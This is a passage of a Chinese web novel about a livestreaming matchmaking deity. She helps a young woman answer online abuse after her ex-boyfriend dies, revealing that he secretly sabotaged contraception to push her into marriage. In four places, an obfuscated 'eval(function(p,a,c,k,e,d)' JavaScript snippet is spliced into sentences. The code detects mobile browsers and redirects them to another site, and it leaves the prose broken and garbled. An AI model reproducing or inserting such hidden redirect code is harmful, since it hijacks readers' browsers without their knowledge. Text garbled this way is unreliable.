片刻后,她表情一僵,蓦然抬起头来: “——你是说,他那阵子的善解人意、突然变得很懂事很贴心,完全不像以前那么黏人胡闹,不是什么他长大了成熟了,而是在计划着破坏我们的约定……让我怀孕?” 莺芝没有回答,眉宇间有着淡淡的怜惜。 董银灵却已经有些失态。 她不可置信地低语着,又到抽屉里翻找起来:“不能啊……为什么呢?明明都说好了的,而且他那阵子真的很明理……难怪,难怪我都说了那几天是我排卵期,不能去,他还那样……可是为什么呢?” 自从跟莺芝联系上,这还是她第一次表现出如此怀疑自己的情绪。 莺芝无声在心里叹了口气。 一个男性,想要对自己的伴侣在这方面做些什么,实在是太容易了。 不管是换掉药,或是动别的手脚,都是抬抬手的功夫,甚至都不会被怀疑。 但这对于另一半来说,未免太过不公。 尤其是,对方还全心全意地信任着这份约定、相信着他的坦诚和底线。 所以,她说,这是潘永福对董银灵的一次欺骗。 【我丢,那外卖小哥看着不咋地,心也这么黑? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982860|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗女朋友怀孕?】 【潘永福明知道自己养不起,为什么还一定要让董银灵怀孕啊啊啊啊孩子是无辜的啊生下来就那条件咋养啊】 【不对吧,要是潘永福真的想要这个孩子,甚至千方百计瞒着骗着也要让她怀,那他肯定会劝她留下来,而不是任由对方去打掉,自己只是委委屈屈蔫几天啊?】 【我嘞个豆……我是墙头草我承认,对不起,听完这些我现在又开始觉得董银灵有点可怜了】 …… 【别转移话题转移视线!董银灵怀孕没怀孕过,关她骗钱骗感情什么事!?】 【骂谁二次元呢:开眼,还没结婚就给男的坏孩子了,这还叫骗感情?你们男人的感情可真贵啊,值得她拿身体的健康去换】 【我真没有QAQ:所以主播的意思是,潘其实不是良人,更不是所谓的完美受害者吗】 …… 莺芝从红线小人骄傲自得展示的新一波封禁发言上收回视线,望向了董银灵。 看潘永福那晚在这里的表现,除了不舍,留恋外,对董银灵应该也是有些愧疚的。 他或许也觉得自己对不住她。 只是,他并不觉得这会是造成他们分手的原因——因为她并不知道。 莺芝整理心念:“依照你们两个的缘线,你们对彼此应当都有过真情,但属于彼此的这一部分姻缘,到最后直接断掉了。这意味着原因并非某一方出轨,更非其他类似情况——” 虽然她已经推测出全貌,但还是选择把话口给到董银灵本人,明知故问道:“为什么你对他的感情会消失?” 温柔和煦的嗓音,如同春日微风,又似湖水轻波,使得有些茫然的董银灵渐渐回过神来。 她沉默了片刻,才轻声开了口。 “要听故事吗,我和他的故事。” 【听听听!那晚外卖小哥来的时候就让他说来着,他不说,那现在你说也一样,我就想听听你们这是怎么大学生谈了个未成年的】 【打算开始编了吗?还是避重就轻,立人设逃过自己做错事的惩罚?】 【说不听的话捞女你能闭嘴去亖吗?】 【你说吧,客观一点,我们都是看过好多部包青天和狄仁杰的人,案件里的是非曲直我们自己会评判】 …… 红线小人成为手的两节舞得飞起,禁言忙得不亦乐乎。 董银灵缓缓开了口。 “我是峄城人,家里条件还可以,高中时成绩也不错……大学考到了安城。” 她说得简单,但大多数人都明白这句话意味着什么。 峄城是相对不错的一座二线城市,父母双职工,家里有房有车有固定收入,考上了一线城市的名校,长得还漂亮,对于任何一个人来说,这都是一个足以铺垫好顺遂一生的开端。 董银灵仿佛受到了先前那件事的打击,整个人都沉默了许多,即便在说话,周身也总有种沉寂的氛围。 “大学生嘛,大家也都知道,除了上课,大多数时候是不想动弹的。我们宿舍楼离食堂还远,就更懒得跑了,就点外卖。” “有一次,我中午下课前二十分钟点的外卖,卡好了时间准备刚好回去就吃的,结果下课后一个多小时都没送过来,而且又往后推迟了半个钟。我在宿舍饿得前胸贴后背,联系外卖员那边就只一个劲对不起,说找不到路,说车轮坏了,反正这个那个的——我原本想给差评来着,就算你再生疏,可这是你的工作,耽误我吃饭这么久就是要负责的啊? 但是下楼拿外卖的时候,我见到了外卖员……那一看就是个没成年的,那么老大的男孩,在你面前背都抬不起来,一个劲低头道歉,让他跟你好好说话吧,抬起头眼眶都是红的……我和他说了说一般大学里送外卖可以怎么分辨大致的路,又讲了两句怎么看楼号,然后让他走了。我没忍心给差评,但饭也没吃成。那碗面都坨成块了,我最后去买了桶泡面吃,觉得自己脑子真是有泡。” “是,那个外卖员就是小潘。” 董银灵揉了揉额头:“早知道我们之间会有今天,当初就给个差评了,最好再当面骂他一顿——” 总好过现在,一个英年早逝,一个为自证清白绞尽脑汁。 18. 第 18 章 董银灵语速不疾不徐,边回忆边讲述着。 “……反正,后来我点外卖,就经常是他来送。学校那么大,负责这一片的外卖员那么多,我也不知道他是怎么总能接到我的单的,当时就以为是有缘,偶尔凑单的小零食我也会随手分他点。意识到不是完全凑巧的时候,已经过去很久了。” “他那时候才十五,缠了我两年,十六的时候,我实在被缠得没法了,就答应了他可以试一试。我知道可能会有人骂我,觉得我一个青春女大,跟一个十六岁的弟弟谈恋爱,是不合适的——我能不知道不合适吗?但是我也实在没法拒绝一个总是显得有点可怜兮兮的弟弟吧,这不是我心软,是他真的很惹人疼。” “你们也都见过他,知道他是个什么样子,其实我最开始见他,他也是完全不收拾,邋里邋遢的,收到过不少差评。我跟他说,要好好收拾自己,最起码不能让顾客觉得经手他们入口东西的人是个脏兮兮的,他才慢慢学会了收拾自己……嗯,临近分手这阵子,我懒得管他,所以又成原样了。” 说起往事来,即便已经过去很久,董银灵也没有什么长时间的思考,很容易便能回想起那些事。 “小潘很没安全感,我们在一起后我才发现了这点。他没说,但我猜得出,估计是因为原生家庭的原因。” “他老家在一个乡下,爸妈都不小了,六七十岁的年纪。我本来还想着,他是意外的老来子,后来才知道,他上头有四个姐姐,有的都结婚有孩子了——姐姐们都不喜欢他,原因我也不用说,谁听到这都能猜出来,我要是他姐姐我也不喜欢他。” “老两口虽然说是把他当眼珠子命根子,但是家里其他成员们明里暗里的排挤,还有村里那些人的闲话,给他的性格带来了很大的影响。闷,没安全感,有时候还会有点偏激。” “他黏我黏得很,我一开始还有点介意,想着难道他是得不到姐姐们的喜欢,移情到我身上了?后来发现他是真的单纯地怕被冷待,想到他遭的放置和冷眼,我也有点心软,就都依着他了。什么实时报备事情啊,信息秒回啊之类的,都依着了。” 【四个姐姐。。招娣旺娣等娣盼娣是吧,呵呵,家里唯一的男宝没了,怪不得老娘要闹呢】 【但其实潘永福也很无辜,又不是他想要出生在这样的家庭里的啊】 【他无辜?那都是他父母造的孽,他身为唯一的儿子,也该背起爹妈的孽——受了爹妈的恩和宠,就该受对他爹妈作为不满产生的怨和恨吧?】 【董银灵说得对,我要是他姐,我也不喜欢他】 …… 【感觉董银灵也不是那么坏啊……心好软,而且好善良,难怪小潘会喜欢上】 【董银灵不管哪一样拎出来都足够碾压潘永福了,但是她竟然还不嫌弃,一点一点细心地照顾着他,教他成长,哎……】 【当女朋友又当妈,真难】 【听哭了,被爱会长出血肉啊。小哥也是因为有了她才慢慢变好的,小心翼翼呵护着这份感情,可惜没能走下去】 …… 【妈耶,这简直有点圣母了,要是我被外卖小哥缠上,还是那么个鬼样的人,我要投诉他骚扰的】 【别母性父性大发了你们,你们口中的被爱的小哥,可是瞒着女方在避孕手段上做手脚的,我就想问一句,这样的女生,他配吗?】 【感觉潘永福真的很没安全感,而且当时来算卦,还是用自杀威胁主播得来的机会啊。咦,等等,他不会是自杀吧?】 …… 【说一千道一万,这都是她的一面之词吧?】 【钱呢?你就闭口不提钱的事儿是吧】 【笑了,编得这么漏洞百出,还编呢。有些事你绕不开的,别演了】 …… 或许是为了回应那些提及“钱”的发言,董银灵垂着眼,语气平淡。 “后来,小潘就提议,要把工资转给我,让我帮他收着,说存给我俩以后用。我说我自己的钱还管不明白呢,你自己处理吧,他就闹脾气。” 这话一出,立刻就引来了激烈的回应。 【胡说八道!!我们永福凭什么把钱给你?他明明都是给家里的!】 【你个杀千刀丧尽天良的,还在这儿编排永福,你不会做噩梦吗?】 【你就是说出花来,这钱你还是拿了!】 “我说过很多次,和很多人都说过,我没有拿。” 董银灵双眼平静望着那些或许来自潘家相关人士的弹幕,语气冷下来,一字一顿。 “和小潘这场矛盾的最后结果是,我们找了个情侣用的那种APP,有存款功能,他把钱给我,我把钱直接转到那里边——他查过没有我不知道,但是每次,我都会再添上一点,属于我的那份。” “在峄城给他租房用的就是我们双方一起存的这份钱,一笔一笔,记录里清清楚楚。” “最近的几个月,我们之间在闹分手,一直冷战,所以他的钱我就没再管,但我猜,他应该是自己学了怎么存,还在继续往里转钱。所以,你们看他的余额才只有两位数。” “分手,我没有问他要回我的钱,更没让他退回给我为他花的钱,我知道,他不容易,所以想着能帮就帮一点,不那么斤斤计较——如果真要论,我在这几年里为我们两个花的钱远比他要多。所以,这么多人说我骗钱,我就不明白,我骗什么了?” “退一万步,我用得着骗?我们之间的关系,我认真地说一句要钱,只要说一个数,他哪怕去卖器官都会凑够这个数给我才对吧。我为什么要骗?我有什么必要骗?” “我要是真缺钱,去啃老去花我爸妈的工资存款养老金都比他这点钱多吧——不是我在贬低小潘的收入,而是客观事实在那里放着。我是独生女,在爸妈面前基本说一不二,我就是他们的全部,我不缺吃不缺穿,家里三口人全都是铁饭碗,那我有什么必要又陪睡又陪聊还要陪着长大、就为了那一点点钱啊?” 她越说语速越快,遣词造句也不多讲究,语气更不见平和,可能是联想到这几天的遭遇,从刚刚那种有点低落地情绪中走出来后,丝丝升起的火气中,夹杂着许多的无语。 “因为我们条件差太多,但我还是跟他在一起了;因为他肯为我付出一切,但我还是跟他分手了——所以,我就必定是个骗子,在一起必定是图他什么、然后达成了目的?说句不好听的,我不比他全家加起来都贵?我要是真的像你们说的那么物质,分手后我是不是得把给他花的钱全讨回来?” “你们自己晒的聊天记录你们看不到吗?哪一次不是我百般推脱不要转,他却执意要给——这到了你们嘴里,就成了我在‘钓’,在以退为进欲拒还迎?那要不要去银行拉张账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993116|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单呢?” 越说越气,董银灵很不雅地直接翻了个白眼。 “不是只有别人拿到你们眼前,给你们看的,才是真相。凡事不知道全部情况都不要妄加揣测的道理,不懂吗?要是真的想发表意见,最起码了解双方情况后再说吧?” “钱的事放着不提——我没有在怪谁,也没在怼谁,我只是想说,随随便便开我盒,网暴我,这给我的生活带来了很大的困扰。如果我是个脆弱的,可能早被逼出心理疾病,直接跳楼了。” “别急着说我又在编,我早把小潘删了,所以聊天记录这里没有,不过刚刚说的账单什么的,虽然有点麻烦,但我都可以拿出的——聊天记录你们可以直接要求小潘家里那边直接给出齐全的。” 【路过被骂,呃好吧,虽然我跟着大家一起骂过董银灵,但我现在觉得,她说的还挺有可信度的】 【如果在小潘的家庭环境性格方面没撒谎的话,后边这些事,确实像他能做出来的……】 【能不能有人给个肯定的答案啊,让我好站边,这样下去我的键盘都舞不动了】 …… 【我能理解。从心理学的角度来说,他把钱全都给到对方,自己只留不到一百块的做法,其实是一种手段。在确认双方的信任度后,把自己的弱点命门都交到对方手上,既以示弱增加对方对自己的怜惜拿捏对方,某种程度上也能让他自己觉得很安全——被全权控制的安全。他需要,并很享受这种感受,这让他觉得安心。这是一种极度缺少安全感的人寻求安全感的手段。】 【增长知识,顺便我也被骂了,虽然她态度不好,但是我竟无力反驳……我擦嘞,搞得我都不知道该信哪个了】 …… 董银灵的语气实在太笃定,态度实在太强硬了。 虽然往后这些话并不好听,但是由于她所说所做完全没有什么逻辑盲点,甚至还挺合理且完整的,搞得一向都是闻风而飘的草系网友们不免产生了动摇。 一方面,不少人觉得董银灵的话实在不好听,高高在上的教训谁呢,充满了爹味;另一方面,他们又心虚,因为之前跟风骂过董银灵三代的有他们一份,甚至那些给董银灵发私信发鬼图的都有他们——这种情况下,董银灵语气冲一点,倒也没骂屈了他们,毕竟确实受到了来自他们的伤害。 这一来二去的,大家也便不再像一开始的时候,说话那么尖锐搞针对了。 眼看董银灵的口碑竟然真的有翻转,坚定不移站在潘永福这边的人顿时不干了。 弹幕上,又开始出现了他们刷屏控评的身影。 潘家人的消息也掺杂在其中。 无外乎一些咬死了没见过什么情侣银行,咬死了是董银灵把钱骗走了,质问对方为什么不还钱的。 董银灵越说越盛的气势仍然在,她毫不客气回应。 “既然你们能查看到聊天记录,自然也能看到他手机里这个app的内容,如果没有——” 说到这儿,她忽然笑了一声,眼睛微微眯起,看着那些疑似来自潘家人的弹幕,笑容里甚至带了些讽刺: “如果没有,那就是他不想让你们知道。” “他宁可把自己这些年来的钱都放在你们找不到的地方,跟自己一起永远消失,都不愿意让你们知道——你们想不到吧,他竟然讨厌那个家讨厌到了这种地步。” 19. 第 19 章 “其实我也没想到,他会做这么绝。还以为他会完全回归家里。毕竟他二选一的选择,不管怎么说也算是已经有了结果了。” 没有理会其他观众们的讨论,董银灵自顾自说着,和夹杂在飞速滚动的弹幕中的潘家人隔空聊了几句。 随后,她嗤道:“说起来,小莺问的是我和小潘怎么分的手,说了这么多,我还没说到这一点——其实原因也很简单,就是两个家庭没办法和平共处呗,不过他家里人肯定不知道这一点就是了。” “小潘很少提起家里,但每每提到,都要闷闷不乐好久,我问起来,他才肯跟我说一点。有一次,他又闷着脾气,我问了几遍没问出来,也有点生气。见我真的不高兴了,他才告诉我说,他的父母来电话,想要见我。” “我说没问题啊,见就见呗。反正我也想看看,到底是什么样的家庭,能把好好的孩子养成这样。但小潘不愿意。听我答应,还跟我闹脾气,最后哭着跟我说,他不想让我‘跟那些人有接触’。说实话,我有点被吓到,虽然我一直知道他不喜欢家里,却没想到竟然到了这种地步,搞得如临大敌的,连见一面都成了会被污染一样——可是,”董银灵话锋一转,无奈地撇了撇唇,“即便都已经这样了,他也从来没说过要跟这样的家庭断掉联系。” “后来的又一次,他睡觉的时候家里来电话,我替他接了,那边是他姐,不过具体是哪个姐我就不知道了。一听是我,他姐就直接跟我说,如果不打算结婚的话,就让我跟他弟分手。我问为啥,他姐其实人也不错,就跟我说,他家里正给他相周围村的女孩,好生养的,小潘是他家唯一的男丁,爹妈满心算着呢,要他给家里留种才行——我就懂了,就是他家里催他结婚,爸妈觉得他都十八了,谈这么久了,也该结婚了。” “挂电话前,他姐还很好奇地问我,像我这种人,要是嫁去了他家,准备带多少嫁妆,除了车子票子首饰以外,能给在县里买套四室的房吗?一间爹的一间妈的一间我和小潘的还有一间给她们几个回来时候住的。顺便还唠闲嗑似地跟我提了一句,说他们爹妈不咋满意我,因为年纪太大了,有点委屈小潘,也怕村里人说闲话,让我要是去他家了,记得把姿态做足一点,放低一点,好让老两口接受我。” “我觉得有点滑稽——大家应该也能懂我这种心情,不过毕竟一时半会的,我没有嫁给小潘的打算,所以就没说什么。” “我很清楚我自己情况,一年半载、或者说三年两载的,是不可能结婚的。我那时候才二十三,才刚大学毕业没多久,我为什么要着急结婚?而且他还没到法定结婚年龄呢。但是我也知道,小潘那边的问题也是真的存在的。据说他们那边如果不上学了,十几岁就得结婚生孩子,不论男女。当然,是没证的。他们都是先结婚办礼走形式,等到了年纪再去补证。小潘他爹妈肯定也是这么个打算。” “所以后来,我就旁敲侧击地问他,会不会想让我和他结婚——小潘的回答是,他想,他很想,但我爸妈不同意,所以他很苦恼,因为我爸妈的要求他目前达不到。” “我爸妈的要求……哎,我爸妈的要求是什么呢、他们俩的意思是,他要是真对我好,人又上进,等到我二十七八,愿意谈婚论嫁的时候,他可以来我家当上门,房车彩礼全都不要,他们俩还愿意托人给他找份正经工作——这要求,归根到底也就是一个对我好一个肯上门。说难也不难,说不难也难,全看当事人怎么想。所以我就开玩笑,问他愿不愿意跟家里断掉关系,愿意的话,我可以跟我爸妈协商,争取等到他到年纪就去领证,不用等更久。然后?然后小潘不说话了。” “他好久好久都没说话。我就知道了,他和家里的矛盾真实存在的,但是他也不可能真的割舍,毕竟他从小被灌输的观念就是那样。那,我们之间的矛盾就是不可调和的。即便眼前不爆发,未来也一定会爆发。” “继续谈下去,是没有任何未来的。” 董银灵摇了摇头:“但我没能很快下定决定跟他分手……毕竟谈了这么久,我也知道他是真的喜欢我。所以就那么拖着,但我有意在淡开我们之间的关系。” “后来,估计是家里又跟他说了,他也有意无意跟我提了几次结婚的事,我态度都很明确:现在不行。” “次数一多,我就有点不耐烦,他应该也察觉到了,慢慢就不提了。再后来,我怀孕了。这件事给我的冲击蛮大的,它提醒了我,要是我再这么摇摆下去,对谁都不好。他要是下不定决心,做不出选择,那就我做好了。” “脑子清醒了,看事情也清醒了。小潘的不成熟,他和家里的僵持,一边不愿意联系、一边又忍不住听从,一切的一切,都让我慢慢耗干了耐心——钱,还有不让我回去,这两件事,或许是他少有的,坚持要忤逆家里的事,也可能……是他努力后,最大程度的抗争吧。” “所以,在感情消磨殆尽、彻底认清楚这一切后,我就跟他提了分手——那晚,是我分手后第一次接他打来的电话。他很沉默,只说要回家了,我也觉得很唏嘘,但是这也是不可避免的,人嘛,总有些事是甩不开的,我说让他好好的,他说好。” “然后结果,就是现在这样了。” 董银灵叹息:“我和他分手,纯粹是因为这个,和其他的没关系。不是什么玩腻了没价值了,就是觉得没必要,所以不想谈了。我也没想到,我们这么普普通通分个手能闹成这样。” 听完她的话,直播间观众们都沉默了许多,弹幕滚动的速度降低了不止一星半点。 还有一些在给董银灵道歉的。 不论真假,董银灵这个版本听起来确实很可信。 潘永福整个人的行为逻辑也都很符合性格。 无形中,部分吃瓜群众心里本来倒向一边的天平便慢慢回转平衡。 ——不管接下来潘家再闹什么,仅凭这么一会儿她所讲述的内容,网上的舆论无论倒向哪边,都不会像之前那样一边倒了。 到这里,董银灵的目的就已经达到了。 但看着这滚动的讨论声,她心里却没什么轻松的感觉,只觉得沉甸甸的。 没有让沉默在直播间蔓延开来,作为直播间主人的莺芝担起了活跃气氛的职责。 她沉吟了片刻,若有所思地开口。 “他或许不是发自内心要骗你,也不是真心实意想要一个孩子。所以,即便他做了手脚让你怀孕,却也没有狠下心来阻止你滑胎。” 董银灵怔住。 不是潘永福想要孩子,潘永福并不很想要孩子,那他所做的这一切,进行的欺骗,又有什么意义? 总不能是为了让她流产,坏她的身体吧?他绝不会做这样的事啊。 “让你怀孕,或许只是一次尝试,或者,制造一次机会……以让他达成想要的目的,或试探出什么答案。” 莺芝意有所指,“而在这次事件中,见你态度坚决,不改初衷,所以,这就是他得到的答案——既然得到了答案,便也不再坚持。” 董银灵一愣:“你是说……” “在早些时候,许多人认为,”莺芝斟酌着措辞,“女性一旦未婚有孕,便是丑事,便——” 董银灵身体晃了晃,有些不太连贯地接上了下半句: “……要嫁给他。” 她脸色差了许多,刚才怼人时那股神采也被折消不少。 几乎没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001546|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何犹豫,她便已经相信了莺芝的猜测。 因为,这完完全全合乎情理。 联系到潘永福那阵子的表现,联系到潘永福和家里的关系…… 或许,是因为她的冷淡被敏感的他察觉,但他并不知道问题出现在了哪里,所以想要用自己的方式验证一下、或试探一下,她是否真的还爱他; 又或许,是他也意识到了婚姻是他们两个人之间难以达成一致的坎——董银灵虽然对他很是包容柔和,但他知道,她是有原则的。而家里的频繁催促,也让他倍感压力,所以才做出了这样的事,想试试看,孩子能不能让她改变心意,能不能让她后退一步…… 更有可能的是,“让她怀孕”这件事本身,就是他家里给出的办法。 “有孩子就能拴住她了,哪个女的能狠下心舍了孩子的” “一个女孩,还没结婚呢肚子先大了,爹妈肯定害怕被嚼舌根,绝对会想着赶紧把这丢人的货嫁出去” “她都揣崽了还能不跟你?说不定她还会跟家里闹,就想着赶紧嫁给你,省得显怀了还烂在家里没人要” “到时候彩礼多少还不是我们说了算,你就算是个送外卖的,也能拿出来” ——诸如此类种种。 这不正是经常会听到的声音吗。 爸妈不同意?那就让她怀孕,让她跟他们去闹,倒贴的谁不喜欢。 以潘永福在大城市打拼这么多年的经历,他不可能不知道,现在的绝大多数女性已经完全不同于那些人口中的样子,越来越多的女孩学会了从世俗的眼光中跳脱出来,寻找属于自己的新世界,她们已经懂得了,只有她们自己才是最重要的。 但,即便如此,他还是选择这么做了。 或许,潘永福心里跟明镜似的,知道董银灵是什么样的人,也知道这所谓的“试探”注定是水中月,是徒劳,但……可能是他还抱有一些微渺的期冀,更或许是、即便他已经在董银灵的陪伴下很大程度上脱离了原生存环境,但依旧没能完全脱去愚昧的衣—— 至于结果…… 正是这件事让董银灵彻底下定决心,提出分手。 也使得潘永福挣扎痛苦,愧疚后悔……最终走到了这一步。 害人害己。 想通了关窍,董银灵扯了扯嘴角,有点勉强地笑了一下:“……不重要了。” 潘永福已经去世,他到底是因为什么做出这样的事,她们都无从确定了。可能他家里的人会知道,不过到了这时候,他们无论如何也不会透出半句口风的。 但不管怎样,人都已经去世了,她就算生气、失望,怨恼,也都没有了目标。 所有的一切恩怨,都随着他的离去彻底告了一个段落。 她的人生里,潘永福已经彻底成为一个符号。 带着他带给她的快乐,带着他带给她的伤害,带着他带给她的一起,与他自己一同,沉入了时间的长河中。 【我的三观……天啊,都21世纪了还有人觉得搞大肚子是让女孩心甘情愿倒贴的手段?】 【受不了了受不了了受不了了什么时候才能彻底消灭封建余孽啊气得我】 【听得我眼泪一把把的,好心疼董银灵,又觉得他们两个之间好悲哀】 【我今天就地图炮了,重男轻女的家庭基本没有好东西,不服来对线】 【银灵小姐姐,你把你和小潘的钱拿去自己花了吧,数十万呢,凭什么给他们!这些烂心烂肺的为了钱竟然这样污蔑你,卖惨网暴,要死啊?!】 【潘永福也不是个好东西】 …… 【一只浪迹瓜田的猹:快看x博!峄城警方出公告了!】 20. 第 20 章 一石激起千层浪,有了一只浪迹瓜田的猹通告,其他观众也注意到了这件事,在弹幕开始话传话起来。 无数网友纷纷后台了直播,转去吃最新的瓜,弹幕都冷了许多。 不再只有一个手机,“富裕”了许多的莺芝也没有在直播间傻呆着,她拿过旁边红线小人的手机,点开了软件。 峄城警方的那条公告声明刚刚发出不久,但眼下关注这件事的人太多了,热度居高不下,连很多所谓大v都上赶着来蹭一下这话题,所以哪怕这才过去一小会儿的功夫,相关词条也已经爬到了热搜尾端挂着。 莺芝一目十行扫过最上边的那条来自峄城警方官号的内容。 警方的意思是,经过尸检和各方面情况的综合检查,他们的最终判断结果是:潘永福确实是意外的车祸身亡。 公告上说,警方在他体内检验出了过量的酒精含量,而各个场所监控拼出的行动轨迹也显示,他在x大道马路边上坐着玩了一会儿手机后,就去到了某夜市摊喝酒、在摄入了大量的酒精后,他骑着车离开,再之后,就发生了那起车祸。 他的所有举动,都完完全全出自他本人自发,没有任何外力介入,除了最后意外与货车相撞,才涉及到了其他人—— 但,那辆货车上装有行车记录仪,可以明确看出,货车是在本身保持正常直线行驶时,被原本走在非机动车道的潘永福突然左转给撞上。 看完说明,莺芝心下了然,警方估计也是有点崩溃。 这几天的舆论闹得沸沸扬扬,他们也很有可能还收到了来自某些部门的通知警告等,简直是无妄之灾。为避免公信力下降,也为了证明这件事确实没有些人传的那么复杂,所以,在把事情排查出准确结果后,他们就立刻发布了公告。 这是在直接又间接地表明,潘永福的死亡,不存在被谁害死的可能,警方也始终公平公正,不存在“包庇”谁的情况。 想到这儿,她把手机还给红线小人,再次看向董银灵。 “结果出来了,他是醉酒后车祸。” 董银灵从刚刚起就一直在沉默,她也没去看警方的公告,无声地出着神。 听到莺芝的声音,她缓慢点了点头:“嗯。” 又停了片刻,她再次开口:“谢谢你,小莺。让我知道了许多事,也弄明白了许多事。这一卦…我很满意。” 想要达成的目的已经达到,且超出了预期,对她来说,这短短的直播连线,已经帮她太多太多,说是圆满了也不为过。 但是…… 莺芝的笑容中带着些许轻柔的叹息:“不用谢。希望你的生活能够回到原本的样子,不会被这件事影响太多。你的善良是许多人生活的光亮,曾经是,日后也会是。” 董银灵怔了怔,一抹难言的涩意从心底缓缓蔓延开来。 她本以为,她和潘永福之间,从相识到相知,她没有任何对不起对方的地方,对方也全心全意在对她,他们只是因为现实所迫,所以才把感情消磨光,最终分开。 而她也确实是,不计门第不计物质不计一切地,没有任何对不起他地,全心全意地对他。 但她没想到,在分手后的如今,在对方都已经去世了的如今,在她原本还对对方家庭用他的死炒作博流量、以至于自己的生活都遭受到了极大的影响的如今——她才得知,她所以为的意外,其实是对方的处心积虑。 一直以来所相信的,仿佛都在这一刻化成了笑话。 她从初识时对潘永福的一切照顾,都好像成了回过头来嘲讥她自己的“案例”,讽刺至极。 觉得难过的同时,她也不可避免地回想,是不是她自己太愚蠢,太天真,太“圣母”,所以才给自己带来了这样的一段“灾祸”。 而现在,这位很神奇、很厉害的算卦大师亲口对她说,她的善良是别人的光。 董银灵想笑一笑,嘴角却压得抬不起来,鼻子的酸涩让她忍不住想要吸几口气。 “谢谢,真的很谢谢……”董银灵声音有点低,“我会记得去庙里上香的,会向月老和红线娘娘都说明,是你帮了我。” 莺芝眨了眨眼。 嗯……不出意外的话,你去上香,“祈愿”的内容都会被整理后放到我的案头——听你说是谁帮你的,应该也是我…… 看着弹幕上越来越多的人也随着她们的声音转变话题,莺芝把杂七杂八的思绪都压下,对本次工作的结果很是满意。 影响不小嘛。 这么多人都亲眼见证了她为这位无辜女性“算卦”呢。 虽然还是有一些站在潘永福立场不动摇,怀疑这一切都是“官官相护”“炒作洗白”的,但声音已经小了很多,被盖在其他讨论内,基本很快就看不见了,先前非常跳的一些潘家人也不知道什么时候就销声匿迹了。 现在大家讨论的多是董银灵的无辜和可怜,还有“算卦”的神奇,当代的“婚姻骗局”……——等等,婚姻骗局? 莺芝的笑容一僵。 想了想,她把视线从那堆喊着“婚姻就是坟墓啊”的弹幕上离开,对正要断开连线的董银灵补充了一句:“——我可以送你一卦,帮你看看正缘会在何时出现。” 董银灵一愣,没想到话题怎么就跳这么大,旋即有点哭笑不得。 她摇摇头:“很感谢你的好意,但是真的不用了。” 莺芝一顿:“……” 董银灵继续说着:“嗯…我不是很想谈恋爱了,有点累,想多陪陪爸妈。” 莺芝:“……” 【履行摸鱼职责:虽然时机不对,但我还是很想笑,小姐姐快别逗我们小莺了,她都快碎了】 【骂谁二次元呢:哈哈哈哈哈哈哈哈哈哈每个还算正常的对象卦后,都会拒绝恋爱,来人啊快救救我们红线女神小姐姐啊哈哈哈哈】 【给予她温油ma:没看到月老牵成一根线,但看到月老拆了好几对了,要不转行吧,去民政局离婚办。】 …… 【[晚间生物]送出鲜花簇簇x2】 【晚间生物:不要伤心小莺,下一对没准就成了】 【[骂谁二次元呢]送出糖果礼盒x1】 【[一只浪迹瓜田的猹]送出应援棒x6】 【[文思泉涌泉相报]送出珊瑚真珠x1】 …… 瞄见几条弹幕,迟滞地意识到莺芝情绪不大对,董银灵“呃”了片刻,当即改口:“好,那就多谢你了——如果能有真情,也挺好的。” 听着她的生硬改口,莺芝无奈地理了理衣摆。 要么说董银灵是个太过于善良的人呢,自己还在低落的情绪中,就下意识又开始哄她开心了。 心中感慨,莺芝还是没有拒绝—— 正缘,能够带给董银灵绝对是好的情绪大于坏的情绪的,是天作之合,在她遇到挫折境遇低迷的现在,或许更能有奇效。 但她并不会强行要求对方选择正缘,人生都是自己的,想怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019703|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么做,想做什么,别人无权指手画脚——就算她是神仙,也不能。 不过于情于理,作为被董银灵祈求帮助的对象,作为姻缘仙,她当然更想把这个选择提供给对方就是了。 至于之后到底要选择远离情爱,还是遵循命运的安排,那都还是要看董银灵自己。 莺芝没有再动用仙力,而是把刚刚观缘时看到的内容给说了出来: 